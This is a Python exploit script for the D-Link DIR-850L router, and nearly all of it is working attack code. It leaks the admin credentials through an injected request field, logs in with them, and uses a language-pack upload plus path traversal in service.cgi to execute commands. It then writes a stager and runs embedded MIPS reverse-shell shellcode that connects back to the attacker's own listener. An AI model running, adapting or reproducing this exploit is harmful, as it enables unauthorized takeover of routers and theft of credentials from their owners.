#!/usr/bin/env python

#
# ----------------------------------------------------------------------------
# "THE BLASTY-WAREZ LICENSE" (Revision 1):
# <peter@haxx.in> wrote this file. As long as you retain this notice and don't
# sell my work you can do whatever you want with this stuff. If we meet some 
# day, and you think this stuff is worth it, you can intoxicate me in return.
# ----------------------------------------------------------------------------
#

import sys, socket, requests, hmac, hashlib, json, struct, time
import threading, SocketServer
from bs4 import BeautifulSoup

SocketServer.TCPServer.allow_reuse_address = True

RCE_DELAY = 0.1

print ""
print "    $$$ DLINK DIR-850L RCE exploit $$$"
print "     -- by blasty <peter@haxx.in>  --"
print ""

if len(sys.argv) != 4:
    print " > usage: %s <remote_ip[:port]> <your_ip> <your_port>"
    print ""
    exit(0)

URI_BASE="http://" + sys.argv[1]

# msfvenom -f elf -p linux/mipsbe/shell_reverse_tcp
scode = \
"7f454c460102010000000000000000000002000800000001004000540000" + \
"003400000000000000000034002000010000000000000000000100000000" + \
"00400000004000000000010c000001c40000000700001000240ffffa01e0" + \
"782721e4fffd21e5fffd2806ffff240210570101010cafa2ffff8fa4ffff" + \
"340ffffd01e07827afafffe03c0eaabb35ceaabbafaeffe43c0e112235ce" + \
"3344afaeffe627a5ffe2240cffef018030272402104a0101010c2411fffd" + \
"022088278fa4ffff0220282124020fdf0101010c2410ffff2231ffff1630" + \
"fffa2806ffff3c0f2f2f35ef6269afafffec3c0e6e2f35ce7368afaefff0" + \
"afa0fff427a4ffecafa4fff8afa0fffc27a5fff824020fab0101010c"

scode = scode.replace("1122", socket.inet_aton(sys.argv[2]).encode("hex")[0:4])
scode = scode.replace("3344", socket.inet_aton(sys.argv[2]).encode("hex")[4:8])
scode = scode.replace("aabb", struct.pack(">H",int(sys.argv[3])).encode("hex"))

connectback_elf = scode.decode("hex")

class connectback_shell(SocketServer.BaseRequestHandler):
    def handle(self):
        print "\n[*] YES! -> shell from %s" % self.client_address[0]
  
        s = self.request
  
        import termios, tty, select, os
        old_settings = termios.tcgetattr(0)
 
        try:
            tty.setcbreak(0)
            c = True
 
            os.write(s.fileno(), "uname -a\ncat /proc/cpuinfo\n")
 
            while c:
                for i in select.select([0, s.fileno()], [], [], 0)[0]:
                    c = os.read(i, 1024)
                    if c:
                        if i == 0:
                            os.write(1, c)
  
                        os.write(s.fileno() if i == 0 else 1, c)
        except KeyboardInterrupt: pass
        finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
  
        return
  
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass

def err(s):
    print "[!] ERROR: %s" % (s)
    exit(-1)

def build_lpack(s, body=None):
    if len(s)>15:
        err("could not pack language file for string length %d" % (len(s)))

    head = struct.pack(">LL", 0x5ea19ac, 1)
    head += "\x00"*(0x10-(len(head)))

    head += s
    head += "\x00"*(0x20-(len(head)))

    if body is None:
        body = "LANGUAGE_OF_THE_GODS"

    body += "\x00"*(256 - (len(body)%256))

    h = hashlib.md5(body).digest()

    return head + h + body

def small_rce(cookie, cmd, body=None):
    requests.post(URI_BASE + "/tools_fw_rlt.php",
        cookies=cookie,
        files={'sealpac': ('yolo.pack', build_lpack(cmd, body) )},
        data={'ACTION' : 'langupdate'}
    )

    requests.post(URI_BASE + "/service.cgi", cookies=cookie, data={
        'SERVICE' : '../../../var/sealpac/langcode\n',
        'ACTION' : 'RESTART'
    })

    time.sleep(RCE_DELAY)

# comment this shit if you want to setup your own listener
server = ThreadedTCPServer((sys.argv[2], int(sys.argv[3])), connectback_shell)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()


leak_req = requests.post(URI_BASE + "/getcfg.php", data={
    'SERVICES' : 'DEVICE.ACCOUNT',
    'KAPOW' : 'b\nAUTHORIZED_GROUP=1'
})

soup = BeautifulSoup(leak_req.text, "lxml")

entries = soup.select("postxml module device account entry")

admin_found = False

for entry in entries:
    t_username = entry.select("name")
    t_password = entry.select("password")

    if len(t_username) == 0 or len(t_password) == 0:
        continue

    username = t_username[0].contents[0].encode("ascii")
    password = t_password[0].contents[0].encode("ascii")

    if username.lower() == "admin":
        admin_found = True
        break

if not admin_found:
    err("Failed to leak admin credentials")

print "[+] got admin credentials (%s:%s)" % (username, password)

auth_req = requests.get(URI_BASE + "/authentication.cgi")
auth_obj = json.loads(auth_req.text)

if "challenge" not in auth_obj.keys():
    err("key 'challenge' not found in authentication response")

if "uid" not in auth_obj.keys():
    err("key 'uid' not found in authentication response")

digest = hmac.new(password, username+auth_obj['challenge']).hexdigest().upper()

print "[+] calculated auth digest: %s" % (digest)

login_payload = {
    'id' : username,
    'password' : digest
}

auth_cookie = { 'uid' : auth_obj['uid'] }

login_req = requests.post(
    URI_BASE + "/authentication.cgi",
    data=login_payload,
    cookies=auth_cookie
)

login_obj = json.loads(login_req.text)

if "status" not in login_obj.keys():
    err("could not find 'status' key in login response")

if login_obj['status'] != "ok":
    err("could not login using leaked credentials")


print "[+] Login OK :)"

cmd = "dd bs=1 skip=48 if=/var/sealpac/sealpac.slp of=/tmp/x"
first = True
idx = 0

for c in cmd:
    sys.stdout.write("[>] writing stager (%02d/%02d)\r" % (idx+1, len(cmd)))
    sys.stdout.flush()

    if first:
        ecmd = "echo -n %s >$0." % (c)
        first = False
    else:
        if c == " ":
            ecmd = "echo ' \\'>>$0."
        else:
            ecmd = "echo -n %s >>$0." % (c)

    small_rce(auth_cookie, ecmd)

    idx = idx+1

print ""

print "[+] stager written .. lets do this.."

small_rce(auth_cookie, "sh $0.", connectback_elf)
small_rce(auth_cookie, "chmod +x /tmp/x")
small_rce(auth_cookie, "/tmp/x")

print "ALL DONE"

while True:
    time.sleep(1)
 
server.shutdown()
